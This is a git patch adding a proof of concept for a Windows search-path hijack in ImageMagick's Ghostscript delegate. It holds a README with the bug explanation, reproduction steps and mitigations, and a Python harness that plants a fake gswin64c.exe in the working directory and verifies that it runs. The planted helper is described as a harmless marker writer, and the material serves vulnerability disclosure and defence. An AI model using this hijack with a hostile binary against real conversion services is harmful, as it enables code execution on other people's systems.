From 4ad7ce586aaf9a6290e2dbd7560e0a98c7d31ef0 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:46:35 +0000 Subject: [PATCH] Upload files to "imagemagick-gs-delegate-hijack-poc" --- imagemagick-gs-delegate-hijack-poc/README.md | 125 +++++++++++++ imagemagick-gs-delegate-hijack-poc/poc.py | 182 +++++++++++++++++++ 2 files changed, 307 insertions(+) create mode 100644 imagemagick-gs-delegate-hijack-poc/README.md create mode 100644 imagemagick-gs-delegate-hijack-poc/poc.py diff --git a/imagemagick-gs-delegate-hijack-poc/README.md b/imagemagick-gs-delegate-hijack-poc/README.md new file mode 100644 index 0000000..c97fd2f --- /dev/null +++ b/imagemagick-gs-delegate-hijack-poc/README.md @@ -0,0 +1,125 @@ +# ImageMagick Ghostscript Delegate Search Path PoC + +This repository contains a Python proof of concept for a Windows executable search-path issue in ImageMagick's Ghostscript delegate handling. + +When ImageMagick converts PDF, PS, EPS, or related PostScript-family inputs on Windows, it builds a Ghostscript delegate command. In the fallback path where ImageMagick does not have a full Ghostscript executable path, the delegate command uses the bare executable name `gswin64c.exe`. The command is then launched through the Windows process API with the application name left unset, which allows normal Windows executable search behavior to choose the program that gets launched. + +If the converter process runs from a directory that an attacker can write to, a planted `gswin64c.exe` in that directory can be launched when ImageMagick processes a PDF/PS-family file. + +## Tested Versions + +The local verification used: + +- ImageMagick `7.1.2-25` +- Ghostscript `10.07.1` +- Windows x64 +- Python 3 + +The PoC uses a harmless marker-writing helper named `gswin64c.exe`. The helper only writes a text file showing that it was launched and records the delegate arguments that ImageMagick passed. + +## Repository Layout + +- `poc.py`: Python replay harness. +- `helper/FakeGswin64c.cs`: source code for the marker-writing helper payload. +- `helper/gswin64c.exe.b64`: base64-encoded helper executable generated from `helper/FakeGswin64c.cs`. + +## How The Bug Works + +ImageMagick's delegate configuration contains Ghostscript command templates that reference `@PSDelegate@`. On Windows, that placeholder is filled by code that tries to locate Ghostscript. When a full path is available, the command points to that full path. In the fallback path, ImageMagick substitutes `gswin64c.exe`. + +The resulting command has this shape: + +```text +"gswin64c.exe" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE ... "-sDEVICE=pngalpha" ... +``` + +Because the executable is a bare name, Windows resolves it through process search rules. A copy of `gswin64c.exe` in the current working directory can be selected before the real Ghostscript binary from `PATH`. + +The PoC creates two directories: + +- `control`: contains only a benign PDF. ImageMagick resolves `gswin64c.exe` from `PATH`, and conversion succeeds. +- `hijack`: contains the same benign PDF plus a marker-writing `gswin64c.exe`. ImageMagick launches the marker helper from the working directory. + +For deterministic lab reproduction, the PoC points `MAGICK_GHOSTSCRIPT_PATH` at a throwaway directory that does not contain Ghostscript DLLs. That forces ImageMagick through the same fallback branch used by portable/no-registry deployments where a full Ghostscript path is unavailable. + +## Requirements + +- Windows +- Python 3 +- ImageMagick for Windows with PDF/PS delegate support +- Ghostscript for Windows + +The PoC accepts explicit paths, so it works with portable builds as well as installed builds. + +## Usage + +With `magick.exe` and `gswin64c.exe` already in `PATH`: + +```bash +python poc.py +``` + +With explicit paths: + +```bash +python poc.py \ + --magick "C:\path\to\magick.exe" \ + --gs-bin "C:\path\to\ghostscript\bin" +``` + +For portable ImageMagick builds that need a config directory: + +```bash +python poc.py \ + --magick "C:\path\to\ImageMagick\magick.exe" \ + --magick-configure-path "C:\path\to\ImageMagick" \ + --gs-bin "C:\path\to\ghostscript\bin" +``` + +The script prints JSON evidence and writes a `result.json` file into the generated evidence directory. + +Successful output includes: + +```json +{ + "control": { + "output_exists": true + }, + "hijack": { + "marker_exists": true, + "marker_text": "fake gswin64c executed\n..." + } +} +``` + +The marker text contains the exact delegate arguments passed by ImageMagick. + +## Reproduction Flow + +1. Create a benign PDF input. +2. Create a control directory with only that PDF. +3. Create a second directory with the same PDF and a marker helper named `gswin64c.exe`. +4. Prepend the real Ghostscript `bin` directory to `PATH`. +5. Run ImageMagick from the control directory and verify normal rendering. +6. Run ImageMagick from the second directory and verify that the local `gswin64c.exe` wrote the marker. + +## Mitigations + +Operational mitigations: + +- Configure ImageMagick so Ghostscript resolves to an absolute executable path. +- Set `MAGICK_GHOSTSCRIPT_PATH` to the real Ghostscript `bin` directory when using ImageMagick in automated conversion services. +- Run conversion jobs from a trusted working directory that untrusted users cannot write to. +- Keep upload directories, extraction directories, and conversion working directories separate. +- Disable PDF/PS-family delegate processing when those formats are not required. + +Code-level hardening: + +- Avoid launching delegate programs by bare executable name. +- Pass an explicit absolute executable path to the process creation API. +- Set the child process working directory to a trusted location. +- Reject delegate execution when the resolved executable path is relative. + +## Notes + +The helper payload in `helper/gswin64c.exe.b64` is generated from `helper/FakeGswin64c.cs`. It writes only the marker file named by `IM_GS_MARKER` and returns. diff --git a/imagemagick-gs-delegate-hijack-poc/poc.py b/imagemagick-gs-delegate-hijack-poc/poc.py new file mode 100644 index 0000000..489c4e9 --- /dev/null +++ b/imagemagick-gs-delegate-hijack-poc/poc.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python3 +import argparse +import base64 +import hashlib +import json +import os +import platform +import shutil +import subprocess +import sys +import tempfile +from pathlib import Path + + +def sha256(path): + h = hashlib.sha256() + with open(path, "rb") as f: + for chunk in iter(lambda: f.read(1024 * 1024), b""): + h.update(chunk) + return h.hexdigest().upper() + + +def build_pdf(): + objects = [ + b"<< /Type /Catalog /Pages 2 0 R >>", + b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", + b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 72 72] /Contents 4 0 R >>", + b"<< /Length 38 >>\nstream\n0.1 0.4 0.8 rg\n10 10 52 52 re\nf\nendstream", + ] + out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n") + offsets = [0] + for index, body in enumerate(objects, start=1): + offsets.append(len(out)) + out.extend(f"{index} 0 obj\n".encode("ascii")) + out.extend(body) + out.extend(b"\nendobj\n") + xref = len(out) + out.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii")) + out.extend(b"0000000000 65535 f \n") + for offset in offsets[1:]: + out.extend(f"{offset:010d} 00000 n \n".encode("ascii")) + out.extend(f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode("ascii")) + return bytes(out) + + +def run(cmd, cwd, env): + return subprocess.run( + cmd, + cwd=str(cwd), + env=env, + text=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + shell=False, + ) + + +def find_exe(name, explicit): + if explicit: + path = Path(explicit).expanduser().resolve() + if not path.exists(): + raise SystemExit(f"{name} was not found: {path}") + return path + found = shutil.which(name) + if not found: + raise SystemExit(f"{name} was not found in PATH; pass its path explicitly") + return Path(found).resolve() + + +def write_text(path, text): + path.write_text(text, encoding="utf-8", errors="replace") + + +def load_helper_payload(): + payload = Path(__file__).resolve().parent / "helper" / "gswin64c.exe.b64" + if not payload.exists(): + raise SystemExit(f"helper payload missing: {payload}") + return base64.b64decode("".join(payload.read_text(encoding="ascii").split())) + + +def main(): + parser = argparse.ArgumentParser(description="ImageMagick Ghostscript delegate executable search-path PoC") + parser.add_argument("--magick", help="Path to magick.exe. Defaults to magick.exe in PATH.") + parser.add_argument("--gs-bin", help="Directory containing the real gswin64c.exe. Defaults to PATH lookup.") + parser.add_argument("--magick-configure-path", help="Optional ImageMagick config directory for portable builds.") + parser.add_argument("--workdir", help="Directory for generated PoC files. Defaults to a temp directory.") + args = parser.parse_args() + + if platform.system() != "Windows": + raise SystemExit("This PoC exercises ImageMagick's Windows delegate launcher path. Run it on Windows with Python 3.") + + magick = find_exe("magick.exe", args.magick) + if args.gs_bin: + gs_bin = Path(args.gs_bin).expanduser().resolve() + gs_exe = gs_bin / "gswin64c.exe" + if not gs_exe.exists(): + raise SystemExit(f"gswin64c.exe was not found in --gs-bin: {gs_bin}") + else: + gs_exe = find_exe("gswin64c.exe", None) + gs_bin = gs_exe.parent + + if args.workdir: + root = Path(args.workdir).expanduser().resolve() + root.mkdir(parents=True, exist_ok=True) + else: + root = Path(tempfile.mkdtemp(prefix="im-gs-delegate-poc-")).resolve() + + control = root / "control" + hijack = root / "hijack" + fallback = root / "ghostscript-path-without-dll" + for directory in (control, hijack, fallback): + directory.mkdir(parents=True, exist_ok=True) + + for directory in (control, hijack): + (directory / "benign.pdf").write_bytes(build_pdf()) + + helper = hijack / "gswin64c.exe" + helper.write_bytes(load_helper_payload()) + marker = hijack / "marker.txt" + + env = os.environ.copy() + env["PATH"] = str(gs_bin) + os.pathsep + env.get("PATH", "") + env["MAGICK_GHOSTSCRIPT_PATH"] = str(fallback) + env["IM_GS_MARKER"] = str(marker) + if args.magick_configure_path: + env["MAGICK_CONFIGURE_PATH"] = str(Path(args.magick_configure_path).expanduser().resolve()) + + magick_version = run([str(magick), "-version"], root, env) + gs_version = run([str(gs_exe), "--version"], root, env) + control_result = run([str(magick), "-verbose", "benign.pdf", "control.png"], control, env) + hijack_result = run([str(magick), "-verbose", "benign.pdf", "hijack.png"], hijack, env) + + write_text(control / "stdout.txt", control_result.stdout) + write_text(control / "stderr.txt", control_result.stderr) + write_text(hijack / "stdout.txt", hijack_result.stdout) + write_text(hijack / "stderr.txt", hijack_result.stderr) + + marker_text = marker.read_text(encoding="utf-8", errors="replace") if marker.exists() else "" + result = { + "workdir": str(root), + "magick": { + "path": str(magick), + "sha256": sha256(magick), + "version": magick_version.stdout.strip(), + }, + "ghostscript": { + "path": str(gs_exe), + "sha256": sha256(gs_exe), + "version": gs_version.stdout.strip(), + }, + "helper": { + "path": str(helper), + "sha256": sha256(helper), + }, + "control": { + "exit_code": control_result.returncode, + "output_png": str(control / "control.png"), + "output_exists": (control / "control.png").exists(), + }, + "hijack": { + "exit_code": hijack_result.returncode, + "marker": str(marker), + "marker_exists": marker.exists(), + "marker_text": marker_text, + }, + } + + result_path = root / "result.json" + result_path.write_text(json.dumps(result, indent=2), encoding="utf-8") + + print(json.dumps(result, indent=2)) + if not result["control"]["output_exists"]: + raise SystemExit("Control conversion did not produce output; check control/stderr.txt") + if not result["hijack"]["marker_exists"]: + raise SystemExit("Hijack marker was not written; check hijack/stderr.txt") + if "fake gswin64c executed" not in marker_text: + raise SystemExit("Hijack marker did not contain the expected helper output") + print(f"\nPoC verified. Evidence directory: {root}") + + +if __name__ == "__main__": + sys.exit(main())